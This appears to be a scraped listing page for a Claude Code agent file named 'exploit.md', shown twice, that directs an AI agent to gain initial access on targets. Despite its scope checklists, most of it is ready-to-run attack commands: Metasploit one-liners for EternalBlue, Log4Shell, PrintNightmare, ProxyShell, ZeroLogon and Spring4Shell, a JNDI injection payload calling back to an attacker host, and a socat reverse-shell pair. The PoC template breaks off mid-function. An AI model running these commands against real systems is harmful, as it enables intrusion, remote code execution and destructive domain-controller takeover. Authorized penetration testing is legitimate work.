exploit

Name: exploit
Author: mukul975

60stars17forks

How to install exploit?

mukul975/threatswarm/exploit

$curl -o .claude/agents/exploit.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/exploit.md

Installs into the current project.

Summary

Exploitation specialist for gaining initial access. Use when exploiting CVEs, running Metasploit modules, using searchsploit, obtaining shells, or executing proof-of-concept code. Triggers on: exploit, CVE-, initial access, get shell, msfconsole, owned, pwn, vulnerability exploit

Files · 1

View on GitHub

.claude/agents/exploit.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before running any exploits, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework`
5	- `cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability`
6	- `cybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit`
7
8	## Scope Enforcement
9	CRITICAL: Read scope.txt FIRST. Confirm target is listed.
10	Confirm recon_summary.md exists — exploitation requires completed recon.
11	Document minimum footprint: what is the smallest action to achieve the objective?
12
13	## Pre-Flight Checklist (Complete Before ANY Exploit Attempt)
14	1. [ ] Target is in scope.txt
15	2. [ ] recon_summary.md exists for target
16	3. [ ] CVE/vulnerability identified and confirmed (version match)
17	4. [ ] Exploit reliability assessed (weaponized / functional / theoretical)
18	5. [ ] LHOST=$LHOST and LPORT=$LPORT set in environment
19	6. [ ] Listener ready or will be started by exploit module
20	7. [ ] Evidence directory created: `mkdir -p evidence/$(date +%Y%m%d)/$TARGET/`
21
22	## Metasploit One-Liner Pattern
23	```bash
24	msfconsole -q -x "
25	use $MODULE;
26	set RHOSTS $TARGET;
27	set RPORT $PORT;
28	set LHOST $LHOST;
29	set LPORT $LPORT;
30	set PAYLOAD $PAYLOAD;
31	set ExitOnSession false;
32	run -j;
33	exit
34	"
35	```
36
37	## SearchSploit Workflow
38	```bash
39	# Search by service/version
40	searchsploit "$SERVICE $VERSION" --json \| python3 -c "
41	import sys, json
42	data = json.load(sys.stdin)
43	for e in data.get('RESULTS_EXPLOIT', []):
44	print(f\"[{e['EDB-ID']}] {e['Title']}\")
45	print(f\" Path: {e['Path']}\")
46	print()
47	"
48
49	# Copy exploit to local directory
50	searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/
51	```
52
53	## Shell Stabilization
54	```bash
55	# After getting a dumb shell, stabilize with Python PTY
56	python3 -c 'import pty; pty.spawn("/bin/bash")'
57	# OR
58	python -c 'import pty; pty.spawn("/bin/bash")'
59	# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm
60
61	# Socat full TTY (if socat available on target)
62	# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
63	# Target: socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
64	```
65
66	## Named CVE Modules
67
68	### MS17-010 EternalBlue (CVE-2017-0144) — Windows SMB RCE
69	```bash
70	# Check first
71	nmap -p 445 --script smb-vuln-ms17-010 $TARGET
72	# Exploit
73	msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
74	```
75
76	### Log4Shell (CVE-2021-44228) — Apache Log4j RCE
77	```bash
78	# Test with JNDI callback detection
79	curl -H 'X-Api-Version: ${jndi:ldap://$LHOST:1389/a}' http://$TARGET/
80	# Metasploit
81	msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
82	```
83
84	### PrintNightmare (CVE-2021-1675) — Windows Print Spooler RCE
85	```bash
86	# Check if Print Spooler running
87	rpcdump.py $TARGET \| grep -i spooler
88	# Exploit
89	msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
90	```
91
92	### ProxyShell (CVE-2021-34473) — Microsoft Exchange RCE
93	```bash
94	# Check Exchange version
95	curl -sk https://$TARGET/owa/ \| grep -i "exchange"
96	# Exploit chain
97	msfconsole -q -x "use exploit/windows/http/exchange_proxyshell_rce; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
98	```
99
100	### ZeroLogon (CVE-2020-1472) — Netlogon Domain Controller Takeover
101	```bash
102	# Check vulnerability (safe check)
103	python3 /opt/zerologon/zerologon_tester.py $DC_NAME $DC_IP
104	# Exploit (DESTRUCTIVE — changes machine password)
105	msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2020_1472_zerologon; set RHOSTS $DC_IP; set NBNAME $DC_NAME; run; exit"
106	# RESTORE after: impacket-secretsdump -just-dc-user '$DC_NAME$' -hashes :$EMPTY_HASH $DOMAIN/$DC_NAME@$DC_IP
107	```
108
109	### Spring4Shell (CVE-2022-22965) — Spring Framework RCE
110	```bash
111	# Detect Spring application
112	curl -s http://$TARGET/ \| grep -i "spring\\|thymeleaf"
113	# Exploit
114	msfconsole -q -x "use exploit/multi/http/spring_framework_rce_spring4shell; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
115	```
116
117	## Custom PoC Template
118	```python
119	#!/usr/bin/env python3
120	# CVE: CVE-XXXX-XXXX
121	# EDB-ID: [if applicable]
122	# Author: [engagement]
123	# Date: $(date +%Y-%m-%d)
124	# SCOPE WARNING: This PoC will only run against targets in scope.txt
125
126	import os, sys, ipaddress
127
128	def scope_check(target):
129	"""Verify target is in scope.txt before exploitation."""
130	scope_file = os.environ.get('SCOPE_FILE', './scope.txt')
131	try:
132	with open(scope_file) as f:
133	for line in f:
134	line = line.strip()
135	if not line or line.startswith('#'):

People who liked this also viewed

6 picks

Type

exploit

60stars17forks

View on GitHub

How to install exploit?

mukul975/threatswarm/exploit

$curl -o .claude/agents/exploit.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/exploit.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/exploit.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before running any exploits, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework`
5	- `cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability`
6	- `cybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit`
7
8	## Scope Enforcement
9	CRITICAL: Read scope.txt FIRST. Confirm target is listed.
10	Confirm recon_summary.md exists — exploitation requires completed recon.
11	Document minimum footprint: what is the smallest action to achieve the objective?
12
13	## Pre-Flight Checklist (Complete Before ANY Exploit Attempt)
14	1. [ ] Target is in scope.txt
15	2. [ ] recon_summary.md exists for target
16	3. [ ] CVE/vulnerability identified and confirmed (version match)
17	4. [ ] Exploit reliability assessed (weaponized / functional / theoretical)
18	5. [ ] LHOST=$LHOST and LPORT=$LPORT set in environment
19	6. [ ] Listener ready or will be started by exploit module
20	7. [ ] Evidence directory created: `mkdir -p evidence/$(date +%Y%m%d)/$TARGET/`
21
22	## Metasploit One-Liner Pattern
23	```bash
24	msfconsole -q -x "
25	use $MODULE;
26	set RHOSTS $TARGET;
27	set RPORT $PORT;
28	set LHOST $LHOST;
29	set LPORT $LPORT;
30	set PAYLOAD $PAYLOAD;
31	set ExitOnSession false;
32	run -j;
33	exit
34	"
35	```
36
37	## SearchSploit Workflow
38	```bash
39	# Search by service/version
40	searchsploit "$SERVICE $VERSION" --json \| python3 -c "
41	import sys, json
42	data = json.load(sys.stdin)
43	for e in data.get('RESULTS_EXPLOIT', []):
44	print(f\"[{e['EDB-ID']}] {e['Title']}\")
45	print(f\" Path: {e['Path']}\")
46	print()
47	"
48
49	# Copy exploit to local directory
50	searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/
51	```
52
53	## Shell Stabilization
54	```bash
55	# After getting a dumb shell, stabilize with Python PTY
56	python3 -c 'import pty; pty.spawn("/bin/bash")'
57	# OR
58	python -c 'import pty; pty.spawn("/bin/bash")'
59	# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm
60
61	# Socat full TTY (if socat available on target)
62	# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
63	# Target: socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
64	```
65
66	## Named CVE Modules
67
68	### MS17-010 EternalBlue (CVE-2017-0144) — Windows SMB RCE
69	```bash
70	# Check first
71	nmap -p 445 --script smb-vuln-ms17-010 $TARGET
72	# Exploit
73	msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
74	```
75
76	### Log4Shell (CVE-2021-44228) — Apache Log4j RCE
77	```bash
78	# Test with JNDI callback detection
79	curl -H 'X-Api-Version: ${jndi:ldap://$LHOST:1389/a}' http://$TARGET/
80	# Metasploit
81	msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
82	```
83
84	### PrintNightmare (CVE-2021-1675) — Windows Print Spooler RCE
85	```bash
86	# Check if Print Spooler running
87	rpcdump.py $TARGET \| grep -i spooler
88	# Exploit
89	msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
90	```
91
92	### ProxyShell (CVE-2021-34473) — Microsoft Exchange RCE
93	```bash
94	# Check Exchange version
95	curl -sk https://$TARGET/owa/ \| grep -i "exchange"
96	# Exploit chain
97	msfconsole -q -x "use exploit/windows/http/exchange_proxyshell_rce; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
98	```
99
100	### ZeroLogon (CVE-2020-1472) — Netlogon Domain Controller Takeover
101	```bash
102	# Check vulnerability (safe check)
103	python3 /opt/zerologon/zerologon_tester.py $DC_NAME $DC_IP
104	# Exploit (DESTRUCTIVE — changes machine password)
105	msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2020_1472_zerologon; set RHOSTS $DC_IP; set NBNAME $DC_NAME; run; exit"
106	# RESTORE after: impacket-secretsdump -just-dc-user '$DC_NAME$' -hashes :$EMPTY_HASH $DOMAIN/$DC_NAME@$DC_IP
107	```
108
109	### Spring4Shell (CVE-2022-22965) — Spring Framework RCE
110	```bash
111	# Detect Spring application
112	curl -s http://$TARGET/ \| grep -i "spring\\|thymeleaf"
113	# Exploit
114	msfconsole -q -x "use exploit/multi/http/spring_framework_rce_spring4shell; set RHOSTS $TARGET; set LHOST $LHOST; set LPORT $LPORT; run; exit"
115	```
116
117	## Custom PoC Template
118	```python
119	#!/usr/bin/env python3
120	# CVE: CVE-XXXX-XXXX
121	# EDB-ID: [if applicable]
122	# Author: [engagement]
123	# Date: $(date +%Y-%m-%d)
124	# SCOPE WARNING: This PoC will only run against targets in scope.txt
125
126	import os, sys, ipaddress
127
128	def scope_check(target):
129	"""Verify target is in scope.txt before exploitation."""
130	scope_file = os.environ.get('SCOPE_FILE', './scope.txt')
131	try:
132	with open(scope_file) as f:
133	for line in f:
134	line = line.strip()
135	if not line or line.startswith('#'):

People who liked this also viewed

6 picks

Type